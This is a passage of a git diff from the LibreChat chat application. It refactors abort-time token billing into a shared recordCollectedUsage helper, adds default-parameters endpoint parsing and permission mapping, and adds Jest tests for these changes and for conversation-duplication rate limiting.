continue; - } - - // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens) - const cache_creation = - Number(usage.input_token_details?.cache_creation) || - Number(usage.cache_creation_input_tokens) || - 0; - const cache_read = - Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0; - - const txMetadata = { - context: 'abort', - conversationId, + await recordCollectedUsage( + { + spendTokens, + spendStructuredTokens, + pricing: { getMultiplier, getCacheMultiplier }, + bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance }, + }, + { user: userId, - model: usage.model ?? fallbackModel, - }; - - if (cache_creation > 0 || cache_read > 0) { - spendPromises.push( - spendStructuredTokens(txMetadata, { - promptTokens: { - input: usage.input_tokens, - write: cache_creation, - read: cache_read, - }, - completionTokens: usage.output_tokens, - }).catch((err) => { - logger.error('[abortMiddleware] Error spending structured tokens for abort', err); - }), - ); - continue; - } - - spendPromises.push( - spendTokens(txMetadata, { - promptTokens: usage.input_tokens, - completionTokens: usage.output_tokens, - }).catch((err) => { - logger.error('[abortMiddleware] Error spending tokens for abort', err); - }), - ); - } - - // Wait for all token spending to complete - await Promise.all(spendPromises); + conversationId, + collectedUsage, + context: 'abort', + messageId, + model: fallbackModel, + }, + ); // Clear the array to prevent double-spending from the AgentClient finally block. // The collectedUsage array is shared by reference with AgentClient.collectedUsage, @@ -144,6 +119,7 @@ async function abortMessage(req, res) { conversationId: jobData?.conversationId, collectedUsage, fallbackModel: jobData?.model, + messageId: jobData?.responseMessageId, }); } else { // Fallback: no collected usage, use text-based token counting for primary model only @@ -292,4 +268,5 @@ const handleAbortError = async (res, req, error, data) => { module.exports = { handleAbort, handleAbortError, + spendCollectedUsage, }; diff --git a/api/server/middleware/abortMiddleware.spec.js b/api/server/middleware/abortMiddleware.spec.js index 93f2ce558b..795814a928 100644 --- a/api/server/middleware/abortMiddleware.spec.js +++ b/api/server/middleware/abortMiddleware.spec.js @@ -4,16 +4,32 @@ * This tests the token spending logic for abort scenarios, * particularly for parallel agents (addedConvo) where multiple * models need their tokens spent. + * + * spendCollectedUsage delegates to recordCollectedUsage from @librechat/api, + * passing pricing + bulkWriteOps deps, with context: 'abort'. + * After spending, it clears the collectedUsage array to prevent double-spending + * from the AgentClient finally block (which shares the same array reference). */ const mockSpendTokens = jest.fn().mockResolvedValue(); const mockSpendStructuredTokens = jest.fn().mockResolvedValue(); +const mockRecordCollectedUsage = jest + .fn() + .mockResolvedValue({ input_tokens: 100, output_tokens: 50 }); + +const mockGetMultiplier = jest.fn().mockReturnValue(1); +const mockGetCacheMultiplier = jest.fn().mockReturnValue(null); jest.mock('~/models/spendTokens', () => ({ spendTokens: (...args) => mockSpendTokens(...args), spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args), })); +jest.mock('~/models/tx', () => ({ + getMultiplier: mockGetMultiplier, + getCacheMultiplier: mockGetCacheMultiplier, +})); + jest.mock('@librechat/data-schemas', () => ({ logger: { debug: jest.fn(), @@ -30,6 +46,7 @@ jest.mock('@librechat/api', () => ({ GenerationJobManager: { abortJob: jest.fn(), }, + recordCollectedUsage: mockRecordCollectedUsage, sanitizeMessageForTransmit: jest.fn((msg) => msg), })); @@ -49,94 +66,27 @@ jest.mock('~/server/middleware/error', () => ({ sendError: jest.fn(), })); +const mockUpdateBalance = jest.fn().mockResolvedValue({}); +const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined); jest.mock('~/models', () => ({ saveMessage: jest.fn().mockResolvedValue(), getConvo: jest.fn().mockResolvedValue({ title: 'Test Chat' }), + updateBalance: mockUpdateBalance, + bulkInsertTransactions: mockBulkInsertTransactions, })); jest.mock('./abortRun', () => ({ abortRun: jest.fn(), })); -// Import the module after mocks are set up -// We need to extract the spendCollectedUsage function for testing -// Since it's not exported, we'll test it through the handleAbort flow +const { spendCollectedUsage } = require('./abortMiddleware'); describe('abortMiddleware - spendCollectedUsage', () => { beforeEach(() => { jest.clearAllMocks(); }); - describe('spendCollectedUsage logic', () => { - // Since spendCollectedUsage is not exported, we test the logic directly - // by replicating the function here for unit testing - - const spendCollectedUsage = async ({ - userId, - conversationId, - collectedUsage, - fallbackModel, - }) => { - if (!collectedUsage || collectedUsage.length === 0) { - return; - } - - const spendPromises = []; - - for (const usage of collectedUsage) { - if (!usage) { - continue; - } - - const cache_creation = - Number(usage.input_token_details?.cache_creation) || - Number(usage.cache_creation_input_tokens) || - 0; - const cache_read = - Number(usage.input_token_details?.cache_read) || - Number(usage.cache_read_input_tokens) || - 0; - - const txMetadata = { - context: 'abort', - conversationId, - user: userId, - model: usage.model ?? fallbackModel, - }; - - if (cache_creation > 0 || cache_read > 0) { - spendPromises.push( - mockSpendStructuredTokens(txMetadata, { - promptTokens: { - input: usage.input_tokens, - write: cache_creation, - read: cache_read, - }, - completionTokens: usage.output_tokens, - }).catch(() => { - // Log error but don't throw - }), - ); - continue; - } - - spendPromises.push( - mockSpendTokens(txMetadata, { - promptTokens: usage.input_tokens, - completionTokens: usage.output_tokens, - }).catch(() => { - // Log error but don't throw - }), - ); - } - - // Wait for all token spending to complete - await Promise.all(spendPromises); - - // Clear the array to prevent double-spending - collectedUsage.length = 0; - }; - + describe('spendCollectedUsage delegation', () => { it('should return early if collectedUsage is empty', async () => { await spendCollectedUsage({ userId: 'user-123', @@ -145,8 +95,7 @@ describe('abortMiddleware - spendCollectedUsage', () => { fallbackModel: 'gpt-4', }); - expect(mockSpendTokens).not.toHaveBeenCalled(); - expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + expect(mockRecordCollectedUsage).not.toHaveBeenCalled(); }); it('should return early if collectedUsage is null', async () => { @@ -157,28 +106,10 @@ describe('abortMiddleware - spendCollectedUsage', () => { fallbackModel: 'gpt-4', }); - expect(mockSpendTokens).not.toHaveBeenCalled(); - expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); + expect(mockRecordCollectedUsage).not.toHaveBeenCalled(); }); - it('should skip null entries in collectedUsage', async () => { - const collectedUsage = [ - { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, - null, - { input_tokens: 200, output_tokens: 60, model: 'gpt-4' }, - ]; - - await spendCollectedUsage({ - userId: 'user-123', - conversationId: 'convo-123', - collectedUsage, - fallbackModel: 'gpt-4', - }); - - expect(mockSpendTokens).toHaveBeenCalledTimes(2); - }); - - it('should spend tokens for single model', async () => { + it('should call recordCollectedUsage with abort context and full deps', async () => { const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }]; await spendCollectedUsage({ @@ -186,21 +117,35 @@ describe('abortMiddleware - spendCollectedUsage', () => { conversationId: 'convo-123', collectedUsage, fallbackModel: 'gpt-4', + messageId: 'msg-123', }); - expect(mockSpendTokens).toHaveBeenCalledTimes(1); - expect(mockSpendTokens).toHaveBeenCalledWith( - expect.objectContaining({ - context: 'abort', - conversationId: 'convo-123', + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + { + spendTokens: expect.any(Function), + spendStructuredTokens: expect.any(Function), + pricing: { + getMultiplier: mockGetMultiplier, + getCacheMultiplier: mockGetCacheMultiplier, + }, + bulkWriteOps: { + insertMany: mockBulkInsertTransactions, + updateBalance: mockUpdateBalance, + }, + }, + { user: 'user-123', + conversationId: 'convo-123', + collectedUsage, + context: 'abort', + messageId: 'msg-123', model: 'gpt-4', - }), - { promptTokens: 100, completionTokens: 50 }, + }, ); }); - it('should spend tokens for multiple models (parallel agents)', async () => { + it('should pass context abort for multiple models (parallel agents)', async () => { const collectedUsage = [ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, { input_tokens: 80, output_tokens: 40, model: 'claude-3' }, @@ -214,136 +159,17 @@ describe('abortMiddleware - spendCollectedUsage', () => { fallbackModel: 'gpt-4', }); - expect(mockSpendTokens).toHaveBeenCalledTimes(3); - - // Verify each model was called - expect(mockSpendTokens).toHaveBeenNthCalledWith( - 1, - expect.objectContaining({ model: 'gpt-4' }), - { promptTokens: 100, completionTokens: 50 }, - ); - expect(mockSpendTokens).toHaveBeenNthCalledWith( - 2, - expect.objectContaining({ model: 'claude-3' }), - { promptTokens: 80, completionTokens: 40 }, - ); - expect(mockSpendTokens).toHaveBeenNthCalledWith( - 3, - expect.objectContaining({ model: 'gemini-pro' }), - { promptTokens: 120, completionTokens: 60 }, - ); - }); - - it('should use fallbackModel when usage.model is missing', async () => { - const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }]; - - await spendCollectedUsage({ - userId: 'user-123', - conversationId: 'convo-123', - collectedUsage, - fallbackModel: 'fallback-model', - }); - - expect(mockSpendTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'fallback-model' }), + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( expect.any(Object), + expect.objectContaining({ + context: 'abort', + collectedUsage, + }), ); }); - it('should use spendStructuredTokens for OpenAI format cache tokens', async () => { - const collectedUsage = [ - { - input_tokens: 100, - output_tokens: 50, - model: 'gpt-4', - input_token_details: { - cache_creation: 20, - cache_read: 10, - }, - }, - ]; - - await spendCollectedUsage({ - userId: 'user-123', - conversationId: 'convo-123', - collectedUsage, - fallbackModel: 'gpt-4', - }); - - expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); - expect(mockSpendTokens).not.toHaveBeenCalled(); - expect(mockSpendStructuredTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'gpt-4', context: 'abort' }), - { - promptTokens: { - input: 100, - write: 20, - read: 10, - }, - completionTokens: 50, - }, - ); - }); - - it('should use spendStructuredTokens for Anthropic format cache tokens', async () => { - const collectedUsage = [ - { - input_tokens: 100, - output_tokens: 50, - model: 'claude-3', - cache_creation_input_tokens: 25, - cache_read_input_tokens: 15, - }, - ]; - - await spendCollectedUsage({ - userId: 'user-123', - conversationId: 'convo-123', - collectedUsage, - fallbackModel: 'claude-3', - }); - - expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); - expect(mockSpendTokens).not.toHaveBeenCalled(); - expect(mockSpendStructuredTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'claude-3' }), - { - promptTokens: { - input: 100, - write: 25, - read: 15, - }, - completionTokens: 50, - }, - ); - }); - - it('should handle mixed cache and non-cache entries', async () => { - const collectedUsage = [ - { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, - { - input_tokens: 150, - output_tokens: 30, - model: 'claude-3', - cache_creation_input_tokens: 20, - cache_read_input_tokens: 10, - }, - { input_tokens: 200, output_tokens: 20, model: 'gemini-pro' }, - ]; - - await spendCollectedUsage({ - userId: 'user-123', - conversationId: 'convo-123', - collectedUsage, - fallbackModel: 'gpt-4', - }); - - expect(mockSpendTokens).toHaveBeenCalledTimes(2); - expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); - }); - it('should handle real-world parallel agent abort scenario', async () => { - // Simulates: Primary agent (gemini) + addedConvo agent (gpt-5) aborted mid-stream const collectedUsage = [ { input_tokens: 31596, output_tokens: 151, model: 'gemini-3-flash-preview' }, { input_tokens: 28000, output_tokens: 120, model: 'gpt-5.2' }, @@ -356,27 +182,24 @@ describe('abortMiddleware - spendCollectedUsage', () => { fallbackModel: 'gemini-3-flash-preview', }); - expect(mockSpendTokens).toHaveBeenCalledTimes(2); - - // Primary model - expect(mockSpendTokens).toHaveBeenNthCalledWith( - 1, - expect.objectContaining({ model: 'gemini-3-flash-preview' }), - { promptTokens: 31596, completionTokens: 151 }, - ); - - // Parallel model (addedConvo) - expect(mockSpendTokens).toHaveBeenNthCalledWith( - 2, - expect.objectContaining({ model: 'gpt-5.2' }), - { promptTokens: 28000, completionTokens: 120 }, + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + expect.any(Object), + expect.objectContaining({ + user: 'user-123', + conversationId: 'convo-123', + context: 'abort', + model: 'gemini-3-flash-preview', + }), ); }); + /** + * Race condition prevention: after abort middleware spends tokens, + * the collectedUsage array is cleared so AgentClient.recordCollectedUsage() + * (which shares the same array reference) sees an empty array and returns early. + */ it('should clear collectedUsage array after spending to prevent double-spending', async () => { - // This tests the race condition fix: after abort middleware spends tokens, - // the collectedUsage array is cleared so AgentClient.recordCollectedUsage() - // (which shares the same array reference) sees an empty array and returns early. const collectedUsage = [ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, { input_tokens: 80, output_tokens: 40, model: 'claude-3' }, @@ -391,19 +214,16 @@ describe('abortMiddleware - spendCollectedUsage', () => { fallbackModel: 'gpt-4', }); - expect(mockSpendTokens).toHaveBeenCalledTimes(2); - - // The array should be cleared after spending + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); expect(collectedUsage.length).toBe(0); }); - it('should await all token spending operations before clearing array', async () => { - // Ensure we don't clear the array before spending completes - let spendCallCount = 0; - mockSpendTokens.mockImplementation(async () => { - spendCallCount++; - // Simulate async delay + it('should await recordCollectedUsage before clearing array', async () => { + let resolved = false; + mockRecordCollectedUsage.mockImplementation(async () => { await new Promise((resolve) => setTimeout(resolve, 10)); + resolved = true; + return { input_tokens: 100, output_tokens: 50 }; }); const collectedUsage = [ @@ -418,10 +238,7 @@ describe('abortMiddleware - spendCollectedUsage', () => { fallbackModel: 'gpt-4', }); - // Both spend calls should have completed - expect(spendCallCount).toBe(2); - - // Array should be cleared after awaiting + expect(resolved).toBe(true); expect(collectedUsage.length).toBe(0); }); }); diff --git a/api/server/middleware/buildEndpointOption.js b/api/server/middleware/buildEndpointOption.js index f56d850120..64ed8e7466 100644 --- a/api/server/middleware/buildEndpointOption.js +++ b/api/server/middleware/buildEndpointOption.js @@ -5,9 +5,11 @@ const { EModelEndpoint, isAgentsEndpoint, parseCompactConvo, + getDefaultParamsEndpoint, } = require('librechat-data-provider'); const azureAssistants = require('~/server/services/Endpoints/azureAssistants'); const assistants = require('~/server/services/Endpoints/assistants'); +const { getEndpointsConfig } = require('~/server/services/Config'); const agents = require('~/server/services/Endpoints/agents'); const { updateFilesUsage } = require('~/models'); @@ -19,9 +21,24 @@ const buildFunction = { async function buildEndpointOption(req, res, next) { const { endpoint, endpointType } = req.body; + + let endpointsConfig; + try { + endpointsConfig = await getEndpointsConfig(req); + } catch (error) { + logger.error('Error fetching endpoints config in buildEndpointOption', error); + } + + const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint); + let parsedBody; try { - parsedBody = parseCompactConvo({ endpoint, endpointType, conversation: req.body }); + parsedBody = parseCompactConvo({ + endpoint, + endpointType, + conversation: req.body, + defaultParamsEndpoint, + }); } catch (error) { logger.error(`Error parsing compact conversation for endpoint ${endpoint}`, error); logger.debug({ @@ -55,6 +72,7 @@ async function buildEndpointOption(req, res, next) { endpoint, endpointType, conversation: currentModelSpec.preset, + defaultParamsEndpoint, }); if (currentModelSpec.iconURL != null && currentModelSpec.iconURL !== '') { parsedBody.iconURL = currentModelSpec.iconURL; diff --git a/api/server/middleware/buildEndpointOption.spec.js b/api/server/middleware/buildEndpointOption.spec.js new file mode 100644 index 0000000000..eab5e2666b --- /dev/null +++ b/api/server/middleware/buildEndpointOption.spec.js @@ -0,0 +1,237 @@ +/** + * Wrap parseCompactConvo: the REAL function runs, but jest can observe + * calls and return values. Must be declared before require('./buildEndpointOption') + * so the destructured reference in the middleware captures the wrapper. + */ +jest.mock('librechat-data-provider', () => { + const actual = jest.requireActual('librechat-data-provider'); + return { + ...actual, + parseCompactConvo: jest.fn((...args) => actual.parseCompactConvo(...args)), + }; +}); + +const { EModelEndpoint, parseCompactConvo } = require('librechat-data-provider'); + +const mockBuildOptions = jest.fn((_endpoint, parsedBody) => ({ + ...parsedBody, + endpoint: _endpoint, +})); + +jest.mock('~/server/services/Endpoints/azureAssistants', () => ({ + buildOptions: mockBuildOptions, +})); +jest.mock('~/server/services/Endpoints/assistants', () => ({ + buildOptions: mockBuildOptions, +})); +jest.mock('~/server/services/Endpoints/agents', () => ({ + buildOptions: mockBuildOptions, +})); + +jest.mock('~/models', () => ({ + updateFilesUsage: jest.fn(), +})); + +const mockGetEndpointsConfig = jest.fn(); +jest.mock('~/server/services/Config', () => ({ + getEndpointsConfig: (...args) => mockGetEndpointsConfig(...args), +})); + +jest.mock('@librechat/api', () => ({ + handleError: jest.fn(), +})); + +const buildEndpointOption = require('./buildEndpointOption'); + +const createReq = (body, config = {}) => ({ + body, + config, + baseUrl: '/api/chat', +}); + +const createRes = () => ({ + status: jest.fn().mockReturnThis(), + json: jest.fn().mockReturnThis(), +}); + +describe('buildEndpointOption - defaultParamsEndpoint parsing', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('should pass defaultParamsEndpoint to parseCompactConvo and preserve maxOutputTokens', async () => { + mockGetEndpointsConfig.mockResolvedValue({ + AnthropicClaude: { + type: EModelEndpoint.custom, + customParams: { + defaultParamsEndpoint: EModelEndpoint.anthropic, + }, + }, + }); + + const req = createReq( + { + endpoint: 'AnthropicClaude', + endpointType: EModelEndpoint.custom, + model: 'anthropic/claude-opus-4.5', + temperature: 0.7, + maxOutputTokens: 8192, + topP: 0.9, + maxContextTokens: 50000, + }, + { modelSpecs: null }, + ); + + await buildEndpointOption(req, createRes(), jest.fn()); + + expect(parseCompactConvo).toHaveBeenCalledWith( + expect.objectContaining({ + defaultParamsEndpoint: EModelEndpoint.anthropic, + }), + ); + + const parsedResult = parseCompactConvo.mock.results[0].value; + expect(parsedResult.maxOutputTokens).toBe(8192); + expect(parsedResult.topP).toBe(0.9); + expect(parsedResult.temperature).toBe(0.7); + expect(parsedResult.maxContextTokens).toBe(50000); + }); + + it('should strip maxOutputTokens when no defaultParamsEndpoint is configured', async () => { + mockGetEndpointsConfig.mockResolvedValue({ + MyOpenRouter: { + type: EModelEndpoint.custom, + }, + }); + + const req = createReq( + { + endpoint: 'MyOpenRouter', + endpointType: EModelEndpoint.custom, + model: 'gpt-4o', + temperature: 0.7, + maxOutputTokens: 8192, + max_tokens: 4096, + }, + { modelSpecs: null }, + ); + + await buildEndpointOption(req, createRes(), jest.fn()); + + expect(parseCompactConvo).toHaveBeenCalledWith( + expect.objectContaining({ + defaultParamsEndpoint: undefined, + }), + ); + + const parsedResult = parseCompactConvo.mock.results[0].value; + expect(parsedResult.maxOutputTokens).toBeUndefined(); + expect(parsedResult.max_tokens).toBe(4096); + expect(parsedResult.temperature).toBe(0.7); + }); + + it('should strip bedrock region from custom endpoint without defaultParamsEndpoint', async () => { + mockGetEndpointsConfig.mockResolvedValue({ + MyEndpoint: { + type: EModelEndpoint.custom, + }, + }); + + const req = createReq( + { + endpoint: 'MyEndpoint', + endpointType: EModelEndpoint.custom, + model: 'gpt-4o', + temperature: 0.7, + region: 'us-east-1', + }, + { modelSpecs: null }, + ); + + await buildEndpointOption(req, createRes(), jest.fn()); + + const parsedResult = parseCompactConvo.mock.results[0].value; + expect(parsedResult.region).toBeUndefined(); + expect(parsedResult.temperature).toBe(0.7); + }); + + it('should pass defaultParamsEndpoint when re-parsing enforced model spec', async () => { + mockGetEndpointsConfig.mockResolvedValue({ + AnthropicClaude: { + type: EModelEndpoint.custom, + customParams: { + defaultParamsEndpoint: EModelEndpoint.anthropic, + }, + }, + }); + + const modelSpec = { + name: 'claude-opus-4.5', + preset: { + endpoint: 'AnthropicClaude', + endpointType: EModelEndpoint.custom, + model: 'anthropic/claude-opus-4.5', + temperature: 0.7, + maxOutputTokens: 8192, + maxContextTokens: 50000, + }, + }; + + const req = createReq( + { + endpoint: 'AnthropicClaude', + endpointType: EModelEndpoint.custom, + spec: 'claude-opus-4.5', + model: 'anthropic/claude-opus-4.5', + }, + { + modelSpecs: { + enforce: true, + list: [modelSpec], + }, + }, + ); + + await buildEndpointOption(req, createRes(), jest.fn()); + + const enforcedCall = parseCompactConvo.mock.calls[1]; + expect(enforcedCall[0]).toEqual( + expect.objectContaining({ + defaultParamsEndpoint: EModelEndpoint.anthropic, + }), + ); + + const enforcedResult = parseCompactConvo.mock.results[1].value; + expect(enforcedResult.maxOutputTokens).toBe(8192); + expect(enforcedResult.temperature).toBe(0.7); + expect(enforcedResult.maxContextTokens).toBe(50000); + }); + + it('should fall back to OpenAI schema when getEndpointsConfig fails', async () => { + mockGetEndpointsConfig.mockRejectedValue(new Error('Config unavailable')); + + const req = createReq( + { + endpoint: 'AnthropicClaude', + endpointType: EModelEndpoint.custom, + model: 'anthropic/claude-opus-4.5', + temperature: 0.7, + maxOutputTokens: 8192, + max_tokens: 4096, + }, + { modelSpecs: null }, + ); + + await buildEndpointOption(req, createRes(), jest.fn()); + + expect(parseCompactConvo).toHaveBeenCalledWith( + expect.objectContaining({ + defaultParamsEndpoint: undefined, + }), + ); + + const parsedResult = parseCompactConvo.mock.results[0].value; + expect(parsedResult.maxOutputTokens).toBeUndefined(); + expect(parsedResult.max_tokens).toBe(4096); + }); +}); diff --git a/api/server/middleware/checkSharePublicAccess.js b/api/server/middleware/checkSharePublicAccess.js index c094d54acb..0e95b9f6f8 100644 --- a/api/server/middleware/checkSharePublicAccess.js +++ b/api/server/middleware/checkSharePublicAccess.js @@ -9,6 +9,7 @@ const resourceToPermissionType = { [ResourceType.AGENT]: PermissionTypes.AGENTS, [ResourceType.PROMPTGROUP]: PermissionTypes.PROMPTS, [ResourceType.MCPSERVER]: PermissionTypes.MCP_SERVERS, + [ResourceType.REMOTE_AGENT]: PermissionTypes.REMOTE_AGENTS, }; /** diff --git a/api/server/middleware/limiters/forkLimiters.js b/api/server/middleware/limiters/forkLimiters.js index e0aa65700c..f1e9b15f11 100644 --- a/api/server/middleware/limiters/forkLimiters.js +++ b/api/server/middleware/limiters/forkLimiters.js @@ -48,7 +48,7 @@ const createForkHandler = (ip = true) => { }; await logViolation(req, res, type, errorMessage, forkViolationScore); - res.status(429).json({ message: 'Too many conversation fork requests. Try again later' }); + res.status(429).json({ message: 'Too many requests. Try again later' }); }; }; diff --git a/api/server/middleware/requireJwtAuth.js b/api/server/middleware/requireJwtAuth.js index ed83c4773e..16b107aefc 100644 --- a/api/server/middleware/requireJwtAuth.js +++ b/api/server/middleware/requireJwtAuth.js @@ -7,16 +7,13 @@ const { isEnabled } = require('@librechat/api'); * Switches between JWT and OpenID authentication based on cookies and environment settings */ const requireJwtAuth = (req, res, next) => { - // Check if token provider is specified in cookies const cookieHeader = req.headers.cookie; const tokenProvider = cookieHeader ? cookies.parse(cookieHeader).token_provider : null; - // Use OpenID authentication if token provider is OpenID and OPENID_REUSE_TOKENS is enabled if (tokenProvider === 'openid' && isEnabled(process.env.OPENID_REUSE_TOKENS)) { return passport.authenticate('openidJwt', { session: false })(req, res, next); } - // Default to standard JWT authentication return passport.authenticate('jwt', { session: false })(req, res, next); }; diff --git a/api/server/routes/__test-utils__/convos-route-mocks.js b/api/server/routes/__test-utils__/convos-route-mocks.js new file mode 100644 index 0000000000..f89b77db3f --- /dev/null +++ b/api/server/routes/__test-utils__/convos-route-mocks.js @@ -0,0 +1,93 @@ +module.exports = { + agents: () => ({ sleep: jest.fn() }), + + api: (overrides = {}) => ({ + isEnabled: jest.fn(), + resolveImportMaxFileSize: jest.fn(() => 262144000), + createAxiosInstance: jest.fn(() => ({ + get: jest.fn(), + post: jest.fn(), + put: jest.fn(), + delete: jest.fn(), + })), + logAxiosError: jest.fn(), + ...overrides, + }), + + dataSchemas: () => ({ + logger: { + debug: jest.fn(), + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + }, + createModels: jest.fn(() => ({ + User: {}, + Conversation: {}, + Message: {}, + SharedLink: {}, + })), + }), + + dataProvider: (overrides = {}) => ({ + CacheKeys: { GEN_TITLE: 'GEN_TITLE' }, + EModelEndpoint: { + azureAssistants: 'azureAssistants', + assistants: 'assistants', + }, + ...overrides, + }), + + conversationModel: () => ({ + getConvosByCursor: jest.fn(), + getConvo: jest.fn(), + deleteConvos: jest.fn(), + saveConvo: jest.fn(), + }), + + toolCallModel: () => ({ deleteToolCalls: jest.fn() }), + + sharedModels: () => ({ + deleteAllSharedLinks: jest.fn(), + deleteConvoSharedLink: jest.fn(), + }), + + requireJwtAuth: () => (req, res, next) => next(), + + middlewarePassthrough: () => ({ + createImportLimiters: jest.fn(() => ({ + importIpLimiter: (req, res, next) => next(), + importUserLimiter: (req, res, next) => next(), + })), + createForkLimiters: jest.fn(() => ({ + forkIpLimiter: (req, res, next) => next(), + forkUserLimiter: (req, res, next) => next(), + })), + configMiddleware: (req, res, next) => next(), + validateConvoAccess: (req, res, next) => next(), + }), + + forkUtils: () => ({ + forkConversation: jest.fn(), + duplicateConversation: jest.fn(), + }), + + importUtils: () => ({ importConversations: jest.fn() }), + + logStores: () => jest.fn(), + + multerSetup: () => ({ + storage: {}, + importFileFilter: jest.fn(), + }), + + multerLib: () => + jest.fn(() => ({ + single: jest.fn(() => (req, res, next) => { + req.file = { path: '/tmp/test-file.json' }; + next(); + }), + })), + + assistantEndpoint: () => ({ initializeClient: jest.fn() }), +}; diff --git a/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js b/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js new file mode 100644 index 0000000000..788119a569 --- /dev/null +++ b/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js @@ -0,0 +1,135 @@ +const express = require('express'); +const request = require('supertest'); + +const MOCKS = '../__test-utils__/convos-route-mocks'; + +jest.mock('@librechat/agents', () => require(MOCKS).agents()); +jest.mock('@librechat/api', () => require(MOCKS).api({ limiterCache: jest.fn(() => undefined) })); +jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas()); +jest.mock('librechat-data-provider', () => + require(MOCKS).dataProvider({ ViolationTypes: { FILE_UPLOAD_LIMIT: 'file_upload_limit' } }), +); + +jest.mock('~/cache/logViolation', () => jest.fn().mockResolvedValue(undefined)); +jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores()); +jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel()); +jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel()); +jest.mock('~/models', () => require(MOCKS).sharedModels()); +jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth()); + +jest.mock('~/server/middleware', () => { + const { createForkLimiters } = jest.requireActual('~/server/middleware/limiters/forkLimiters'); + return { + createImportLimiters: jest.fn(() => ({ + importIpLimiter: (req, res, next) => next(), + importUserLimiter: (req, res, next) => next(), + })), + createForkLimiters, + configMiddleware: (req, res, next) => next(), + validateConvoAccess: (req, res, next) => next(), + }; +}); + +jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils()); +jest.mock('~/server/utils/import', () => require(MOCKS).importUtils()); +jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup()); +jest.mock('multer', () => require(MOCKS).multerLib()); +jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint()); +jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint()); + +describe('POST /api/convos/duplicate - Rate Limiting', () => { + let app; + let duplicateConversation; + const savedEnv = {}; + + beforeAll(() => { + savedEnv.FORK_USER_MAX = process.env.FORK_USER_MAX; + savedEnv.FORK_USER_WINDOW = process.env.FORK_USER_WINDOW; + savedEnv.FORK_IP_MAX = process.env.FORK_IP_MAX; + savedEnv.FORK_IP_WINDOW = process.env.FORK_IP_WINDOW; + }); + + afterAll(() => { + for (const key of Object.keys(savedEnv)) { + if (savedEnv[key] === undefined) { + delete process.env[key]; + } else { + process.env[key] = savedEnv[key]; + } + } + }); + + const setupApp = () => { + jest.clearAllMocks(); + jest.isolateModules(() => { + const convosRouter = require('../convos'); + ({ duplicateConversation } = require('~/server/utils/import/fork')); + + app = express(); + app.use(express.json()); + app.use((req, res, next) => { + req.user = { id: 'rate-limit-test-user' }; + next(); + }); + app.use('/api/convos', convosRouter); + }); + + duplicateConversation.mockResolvedValue({ + conversation: { conversationId: 'duplicated-conv' }, + }); + }; + + describe('user limit', () => { + beforeEach(() => { + process.env.FORK_USER_MAX = '2'; + process.env.FORK_USER_WINDOW = '1'; + process.env.FORK_IP_MAX = '100'; + process.env.FORK_IP_WINDOW = '1'; + setupApp(); + }); + + it('should return 429 after exceeding the user rate limit', async () => { + const userMax = parseInt(process.env.FORK_USER_MAX, 10); + + for (let i = 0; i < userMax; i++) { + const res = await request(app) + .post('/api/convos/duplicate') + .send({ conversationId: 'conv-123' }); + expect(res.status).toBe(201); + } + + const res = await request(app) + .post('/api/convos/duplicate') + .send({ conversationId: 'conv-123' }); + expect(res.status).toBe(429); + expect(res.body.message).toMatch(/too many/i); + }); + }); + + describe('IP limit', () => { + beforeEach(() => { + process.env.FORK_USER_MAX = '100'; + process.env.FORK_USER_WINDOW = '1'; + process.env.FORK_IP_MAX = '2'; + process.env.FORK_IP_WINDOW = '1'; + setupApp(); + }); + + it('should return 429 after exceeding the IP rate limit', async () => { + const ipMax = parseInt(process.env.FORK_IP_MAX, 10); + + for (let i = 0; i < ipMax; i++) { + const res = await request(app) + .post('/api/convos/duplicate') + .send({ conversationId: 'conv-123' }); + expect(res.status).toBe(201); + } + + const res = await request(app) + .post('/api/convos/duplicate') + .send({ conversationId: 'conv-123' }); + expect(res.status).toBe(429); + expect(res.body.message).toMatch(/too many/i); + }); + }); +}); diff --git a/api/server/routes/__tests__/convos-import.spec.js b/api/server/routes/__tests__/convos-import.spec.js new file mode 100644 index 0000000000..c4ea139931 --- /dev/null +++ b/api/server/routes/__tests__/convos-import.spec.js @@ -0,0 +1,98 @@ +const express = require('express'); +const request = require('supertest'); +const multer = require('multer'); + +const importFileFilter = (req, file, cb) => { + if (file.mimetype === 'application/json') { + cb(null, true); + } else { + cb(new Error('Only JSON files 